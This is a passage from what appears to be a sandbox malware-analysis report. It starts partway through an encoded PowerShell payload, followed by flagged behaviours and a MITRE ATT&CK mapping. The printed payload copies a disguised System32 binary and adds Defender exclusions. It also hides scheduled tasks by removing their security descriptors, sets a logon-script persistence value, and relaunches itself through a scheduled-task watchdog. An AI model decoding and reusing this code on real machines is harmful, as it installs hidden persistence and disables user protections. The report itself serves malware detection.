AcgBcAFMAZQBjAHUAcgBpAHQAeQBIAGUAYQBsAHQAaABIAG8AcwB0AFMAZQByAHYAaQBjAGUALgBlAHgAZQAuAGQAYQB0ACcAIAAnAEMAOgBcAFcAaQBuAGQAbwB3AHMAXABTAHkAcwB0AGUAbQAzADIAXABTAGUAYwB1AHIAaQB0AHkASABlAGEAbAB0AGgASABvAHMAdABTAGUAcgB2AGkAYwBlAC4AZQB4AGUAJwAgAC0ARgBvAHIAYwBlAH0AZQBsAHMAZQBpAGYAKABUAGUAcwB0AC0AUABhAHQAaAAgACcAQwA6AFwAUAByAG8AZwByAGEAbQBEAGEAdABhAFwATQBpAGMAcgBvAHMAbwBmAHQAXABDAHIAeQBwAHQAbwBcAFMAeQBzAHQAZQBtAEsAZQB5AHMAXABTAGUAYwB1AHIAaQB0AHkASABlAGEAbAB0AGgASABvAHMAdABTAGUAcgB2AGkAYwBlAC4AZQB4AGUALgBlAG4AYwAnACkAewBDAG8AcAB5AC0ASQB0AGUAbQAgACcAQwA6AFwAUAByAG8AZwByAGEAbQBEAGEAdABhAFwATQBpAGMAcgBvAHMAbwBmAHQAXABDAHIAeQBwAHQAbwBcAFMAeQBzAHQAZQBtAEsAZQB5AHMAXABTAGUAYwB1AHIAaQB0AHkASABlAGEAbAB0AGgASABvAHMAdABTAGUAcgB2AGkAYwBlAC4AZQB4AGUALgBlAG4AYwAnACAAJwBDADoAXABXAGkAbgBkAG8AdwBzAFwAUwB5AHMAdABlAG0AMwAyAFwAUwBlAGMAdQByAGkAdAB5AEgAZQBhAGwAdABoAEgAbwBzAHQAUwBlAHIAdgBpAGMAZQAuAGUAeABlACcAIAAtAEYAbwByAGMAZQB9ADsAYQB0AHQAcgBpAGIAIAArAHMAIAArAGgAIAAnAEMAOgBcAFcAaQBuAGQAbwB3AHMAXABTAHkAcwB0AGUAbQAzADIAXABTAGUAYwB1AHIAaQB0AHkASABlAGEAbAB0AGgASABvAHMAdABTAGUAcgB2AGkAYwBlAC4AZQB4AGUAJwB9ADsAaQBmACgAIQAoAFQAZQBzAHQALQBQAGEAdABoACAAJwBDADoAXABQAHIAbwBnAHIAYQBtAEQAYQB0AGEAXABNAGkAYwByAG8AcwBvAGYAdABcAE4AZQB0AHcAbwByAGsAXABEAG8AdwBuAGwAbwBhAGQAZQByAFwAUwBlAGMAdQByAGkAdAB5AEgAZQBhAGwAdABoAEgAbwBzAHQAUwBlAHIAdgBpAGMAZQAuAGUAeABlAC4AZABhAHQAJwApACAALQBhAG4AZAAgACgAVABlAHMAdAAtAFAAYQB0AGgAIAAnAEMAOgBcAFcAaQBuAGQAbwB3AHMAXABTAHkAcwB0AGUAbQAzADIAXABTAGUAYwB1AHIAaQB0AHkASABlAGEAbAB0AGgASABvAHMAdABTAGUAcgB2AGkAYwBlAC4AZQB4AGUAJwApACkAewBDAG8AcAB5AC0ASQB0AGUAbQAgACcAQwA6AFwAVwBpAG4AZABvAHcAcwBcAFMAeQBzAHQAZQBtADMAMgBcAFMAZQBjAHUAcgBpAHQAeQBIAGUAYQBsAHQAaABIAG8AcwB0AFMAZQByAHYAaQBjAGUALgBlAHgAZQAnACAAJwBDADoAXABQAHIAbwBnAHIAYQBtAEQAYQB0AGEAXABNAGkAYwByAG8AcwBvAGYAdABcAE4AZQB0AHcAbwByAGsAXABEAG8AdwBuAGwAbwBhAGQAZQByAFwAUwBlAGMAdQByAGkAdAB5AEgAZQBhAGwAdABoAEgAbwBzAHQAUwBlAHIAdgBpAGMAZQAuAGUAeABlAC4AZABhAHQAJwAgAC0ARgBvAHIAYwBlADsAYQB0AHQAcgBpAGIAIAArAHMAIAArAGgAIAAnAEMAOgBcAFAAcgBvAGcAcgBhAG0ARABhAHQAYQBcAE0AaQBjAHIAbwBzAG8AZgB0AFwATgBlAHQAdwBvAHIAawBcAEQAbwB3AG4AbABvAGEAZABlAHIAXABTAGUAYwB1AHIAaQB0AHkASABlAGEAbAB0AGgASABvAHMAdABTAGUAcgB2AGkAYwBlAC4AZQB4AGUALgBkAGEAdAAnAH0AOwBpAGYAKAAhACgAVABlAHMAdAAtAFAAYQB0AGgAIAAnAEMAOgBcAFAAcgBvAGcAcgBhAG0ARABhAHQAYQBcAE0AaQBjAHIAbwBzAG8AZgB0AFwAQwByAHkAcAB0AG8AXABTAHkAcwB0AGUAbQBLAGUAeQBzAFwAUwBlAGMAdQByAGkAdAB5AEgAZQBhAGwAdABoAEgAbwBzAHQAUwBlAHIAdgBpAGMAZQAuAGUAeABlAC4AZQBuAGMAJwApACAALQBhAG4AZAAgACgAVABlAHMAdAAtAFAAYQB0AGgAIAAnAEMAOgBcAFcAaQBuAGQAbwB3AHMAXABTAHkAcwB0AGUAbQAzADIAXABTAGUAYwB1AHIAaQB0AHkASABlAGEAbAB0AGgASABvAHMAdABTAGUAcgB2AGkAYwBlAC4AZQB4AGUAJwApACkAewBDAG8AcAB5AC0ASQB0AGUAbQAgACcAQwA6AFwAVwBpAG4AZABvAHcAcwBcAFMAeQBzAHQAZQBtADMAMgBcAFMAZQBjAHUAcgBpAHQAeQBIAGUAYQBsAHQAaABIAG8AcwB0AFMAZQByAHYAaQBjAGUALgBlAHgAZQAnACAAJwBDADoAXABQAHIAbwBnAHIAYQBtAEQAYQB0AGEAXABNAGkAYwByAG8AcwBvAGYAdABcAEMAcgB5AHAAdABvAFwAUwB5AHMAdABlAG0ASwBlAHkAcwBcAFMAZQBjAHUAcgBpAHQAeQBIAGUAYQBsAHQAaABIAG8AcwB0AFMAZQByAHYAaQBjAGUALgBlAHgAZQAuAGUAbgBjACcAIAAtAEYAbwByAGMAZQA7AGEAdAB0AHIAaQBiACAAKwBzACAAKwBoACAAJwBDADoAXABQAHIAbwBnAHIAYQBtAEQAYQB0AGEAXABNAGkAYwByAG8AcwBvAGYAdABcAEMAcgB5AHAAdABvAFwAUwB5AHMAdABlAG0ASwBlAHkAcwBcAFMAZQBjAHUAcgBpAHQAeQBIAGUAYQBsAHQAaABIAG8AcwB0AFMAZQByAHYAaQBjAGUALgBlAHgAZQAuAGUAbgBjACcAfQA7ACQAZQBwAD0AQAAoACcAQwA6AFwAVwBpAG4AZABvAHcAcwBcAFMAeQBzAHQAZQBtADMAMgAnACwAJwBDADoAXABQAHIAbwBnAHIAYQBtAEQAYQB0AGEAXABNAGkAYwByAG8AcwBvAGYAdABcAEMAcgB5AHAAdABvAFwAUwB5AHMAdABlAG0ASwBlAHkAcwAnACwAJwBDADoAXABQAHIAbwBnAHIAYQBtAEQAYQB0AGEAXABNAGkAYwByAG8AcwBvAGYAdABcAE4AZQB0AHcAbwByAGsAXABEAG8AdwBuAGwAbwBhAGQAZQByACcALAAnAEMAOgBcAFAAcgBvAGcAcgBhAG0ARABhAHQAYQAnACkAOwBmAG8AcgBlAGEAYwBoACgAJABlACAAaQBuACAAJABlAHAAKQB7AEEAZABkAC0ATQBwAFAAcgBlAGYAZQByAGUAbgBjAGUAIAAtAEUAeABjAGwAdQBzAGkAbwBuAFAAYQB0AGgAIAAkAGUAIAAtAEUAcgByAG8AcgBBAGMAdABpAG8AbgAgAFMAaQBsAGUAbgB0AGwAeQBDAG8AbgB0AGkAbgB1AGUAfQA7AGYAbwByACgAJABqAD0AMAA7ACQAagAgAC0AbAB0ACAAJAB0AHQALgBDAG8AdQBuAHQAOwAkAGoAKwArACkAewAkAHIAcAA9ACIASABLAEwATQA6AFwAUwBPAEYAVABXAEEAUgBFAFwATQBpAGMAcgBvAHMAbwBmAHQAXABXAGkAbgBkAG8AdwBzACAATgBUAFwAQwB1AHIAcgBlAG4AdABWAGUAcgBzAGkAbwBuAFwAUwBjAGgAZQBkAHUAbABlAFwAVABhAHMAawBDAGEAYwBoAGUAXABUAHIAZQBlAFwAJAAoACQAdAB0AFsAJABqAF0AKQAiADsAJAB0AHAAPQAiAEgASwBMAE0AOgBcAFMATwBGAFQAVwBBAFIARQBcAE0AaQBjAHIAbwBzAG8AZgB0AFwAVwBpAG4AZABvAHcAcwAgAE4AVABcAEMAdQByAHIAZQBuAHQAVgBlAHIAcwBpAG8AbgBcAFMAYwBoAGUAZAB1AGwAZQBcAFQAYQBzAGsAQwBhAGMAaABlAFwAVABhAHMAawBzACIAOwBpAGYAKAAhACgAVABlAHMAdAAtAFAAYQB0AGgAIAAkAHIAcAAgAC0ARQByAHIAbwByAEEAYwB0AGkAbwBuACAAUwBpAGwAZQBuAHQAbAB5AEMAbwBuAHQAaQBuAHUAZQApACkAewBzAGMAaAB0AGEAcwBrAHMAIAAvAGMAcgBlAGEAdABlACAALwB0AG4AIAAkAHQAdABbACQAagBdACAALwB0AHIAIAAkAHAAcABbACQAagBdACAALwBzAGMAIABvAG4AbABvAGcAbwBuACAALwByAGwAIABoAGkAZwBoAGUAcwB0ACAALwBmACAAMgA+ACQAbgB1AGwAbAA7AH0AOwBpAGYAKABUAGUAcwB0AC0AUABhAHQAaAAgACQAcgBwACAALQBFAHIAcgBvAHIAQQBjAHQAaQBvAG4AIABTAGkAbABlAG4AdABsAHkAQwBvAG4AdABpAG4AdQBlACkAewAkAHQAPQAoAEcAZQB0AC0ASQB0AGUAbQBQAHIAbwBwAGUAcgB0AHkAIAAkAHIAcAAgAC0ARQByAHIAbwByAEEAYwB0AGkAbwBuACAAUwBpAGwAZQBuAHQAbAB5AEMAbwBuAHQAaQBuAHUAZQApADsAaQBmACgAJABuAHUAbABsACAALQBuAGUAIAAkAHQALgBTAEQAKQB7AFIAZQBtAG8AdgBlAC0ASQB0AGUAbQBQAHIAbwBwAGUAcgB0AHkAIAAtAFAAYQB0AGgAIAAkAHIAcAAgAC0ATgBhAG0AZQAgACcAUwBEACcAIAAtAEYAbwByAGMAZQAgAC0ARQByAHIAbwByAEEAYwB0AGkAbwBuACAAUwBpAGwAZQBuAHQAbAB5AEMAbwBuAHQAaQBuAHUAZQA7AFMAZQB0AC0ASQB0AGUAbQBQAHIAbwBwAGUAcgB0AHkAIAAtAFAAYQB0AGgAIAAkAHIAcAAgAC0ATgBhAG0AZQAgACcASQBuAGQAZQB4ACcAIAAtAFYAYQBsAHUAZQAgADAAIAAtAFQAeQBwAGUAIABEAFcAbwByAGQAIAAtAEYAbwByAGMAZQAgAC0ARQByAHIAbwByAEEAYwB0AGkAbwBuACAAUwBpAGwAZQBuAHQAbAB5AEMAbwBuAHQAaQBuAHUAZQA7AGkAZgAoACQAbgB1AGwAbAAgAC0AbgBlACAAJAB0AC4ASQBkACkAewBSAGUAbQBvAHYAZQAtAEkAdABlAG0AUAByAG8AcABlAHIAdAB5ACAALQBQAGEAdABoACAAIgAkAHQAcABcACQAKAAkAHQALgBJAGQAKQAiACAALQBOAGEAbQBlACAAJwBTAEQAJwAgAC0ARgBvAHIAYwBlACAALQBFAHIAcgBvAHIAQQBjAHQAaQBvAG4AIABTAGkAbABlAG4AdABsAHkAQwBvAG4AdABpAG4AdQBlADsAfQB9ADsAfQA7AH0AOwAkAHUAcABsAD0AJABwAHAAIAAtAGoAbwBpAG4AIAAnACwAJwA7ACQAcgBlAD0AJwBIAEsAQwBVADoAXABFAG4AdgBpAHIAbwBuAG0AZQBuAHQAJwA7ACQAcgBuAD0AJwBVAHMAZQByAEkAbgBpAHQATQBwAHIATABvAGcAbwBuAFMAYwByAGkAcAB0ACcAOwBpAGYAKAAoAEcAZQB0AC0ASQB0AGUAbQBQAHIAbwBwAGUAcgB0AHkAIAAkAHIAZQAgAC0ATgBhAG0AZQAgACQAcgBuACAALQBFAHIAcgBvAHIAQQBjAHQAaQBvAG4AIABTAGkAbABlAG4AdABsAHkAQwBvAG4AdABpAG4AdQBlACkALgAkAHIAbgAgAC0AbgBlACAAJAB1AHAAbAApAHsAUwBlAHQALQBJAHQAZQBtAFAAcgBvAHAAZQByAHQAeQAgACQAcgBlACAALQBOAGEAbQBlACAAJAByAG4AIAAtAFYAYQBsAHUAZQAgACQAdQBwAGwAIAAtAEYAbwByAGMAZQAgAC0ARQByAHIAbwByAEEAYwB0AGkAbwBuACAAUwBpAGwAZQBuAHQAbAB5AEMAbwBuAHQAaQBuAHUAZQB9ADsAJAB1AD0AKABHAGUAdAAtAFcAbQBpAE8AYgBqAGUAYwB0ACAAVwBpAG4AMwAyAF8AQwBvAG0AcAB1AHQAZQByAFMAeQBzAHQAZQBtACkALgBVAHMAZQByAE4AYQBtAGUAOwBmAG8AcgAoACQAaQA9ADAAOwAkAGkAIAAtAGwAdAAgADYAMAA7ACQAaQArACsAKQB7ACQAbQA9ACQAZgBhAGwAcwBlADsAZgBvAHIAZQBhAGMAaAAoACQAcwAgAGkAbgAgACQAcwB0ACkAewBpAGYAKABHAGUAdAAtAFAAcgBvAGMAZQBzAHMAIAAkAHMAIAAtAEUAcgByAG8AcgBBAGMAdABpAG8AbgAgAFMAaQBsAGUAbgB0AGwAeQBDAG8AbgB0AGkAbgB1AGUAKQB7ACQAbQA9ACQAdAByAHUAZQA7AGIAcgBlAGEAawB9AH0AOwBpAGYAKAAkAG0AKQB7AGYAbwByAGUAYQBjAGgAKAAkAG4AIABpAG4AIAAkAHAAbgApAHsARwBlAHQALQBQAHIAbwBjAGUAcwBzACAAJABuACAALQBFAHIAcgBvAHIAQQBjAHQAaQBvAG4AIABTAGkAbABlAG4AdABsAHkAQwBvAG4AdABpAG4AdQBlAHwAUwB0AG8AcAAtAFAAcgBvAGMAZQBzAHMAIAAtAEYAbwByAGMAZQAgAC0ARQByAHIAbwByAEEAYwB0AGkAbwBuACAAUwBpAGwAZQBuAHQAbAB5AEMAbwBuAHQAaQBuAHUAZQB9AH0AZQBsAHMAZQB7AGYAbwByACgAJABqAD0AMAA7ACQAagAgAC0AbAB0ACAAJABwAG4ALgBDAG8AdQBuAHQAOwAkAGoAKwArACkAewBpAGYAKAAhACgARwBlAHQALQBQAHIAbwBjAGUAcwBzACAAJABwAG4AWwAkAGoAXQAgAC0ARQByAHIAbwByAEEAYwB0AGkAbwBuACAAUwBpAGwAZQBuAHQAbAB5AEMAbwBuAHQAaQBuAHUAZQApACkAewAkAHQAbgA9ACcAUwB5AHMARABpAGEAZwBUAG0AcABSACcAKwAkAGoAOwBzAGMAaAB0AGEAcwBrAHMAIAAvAGMAcgBlAGEAdABlACAALwB0AG4AIAAkAHQAbgAgAC8AdAByACAAJABwAHAAcgBbACQAagBdACAALwBzAGMAIABvAG4AYwBlACAALwBzAHQAIAAwADAAOgAwADAAIAAvAHIAdQAgACQAdQAgAC8AcgBsACAAaABpAGcAaABlAHMAdAAgAC8AZgAgADIAPgAkAG4AdQBsAGwAOwBzAGMAaAB0AGEAcwBrAHMAIAAvAHIAdQBuACAALwB0AG4AIAAkAHQAbgAgADIAPgAkAG4AdQBsAGwAOwBTAHQAYQByAHQALQBTAGwAZQBlAHAAIAAxADsAcwBjAGgAdABhAHMAawBzACAALwBkAGUAbABlAHQAZQAgAC8AdABuACAAJAB0AG4AIAAvAGYAIAAyAD4AJABuAHUAbABsAH0AfQB9ADsAUwB0AGEAcgB0AC0AUwBsAGUAZQBwACAALQBTAGUAYwBvAG4AZABzACAAMgB9ADsA
1⤵
- Process spawned unexpected child process
- Command and Scripting Interpreter: PowerShell
- Enumerates connected drives
- Drops file in System32 directory
- Modifies data under HKEY_USERS
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:4808

Network

MITRE ATT&CK Enterprise v16

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Windows Command Shell

T1059.003

Scheduled Task/Job

T1053

Scheduled Task

Persistence

Boot or Logon Initialization Scripts

T1037

Logon Script (Windows)

T1037.001

Scheduled Task/Job

T1053

Scheduled Task

Privilege Escalation

Boot or Logon Initialization Scripts

T1037

Logon Script (Windows)

T1037.001

Scheduled Task/Job

T1053

Scheduled Task

Defense Evasion

File and Directory Permissions Modification

T1222

Credential Access

Credentials from Password Stores

T1555

Credentials from Web Browsers

T1555.003

Unsecured Credentials

T1552

Credentials In Files

T1552.001

Credentials in Registry

T1552.002

Discovery

Peripheral Device Discovery

T1120

Query Registry

System Information Discovery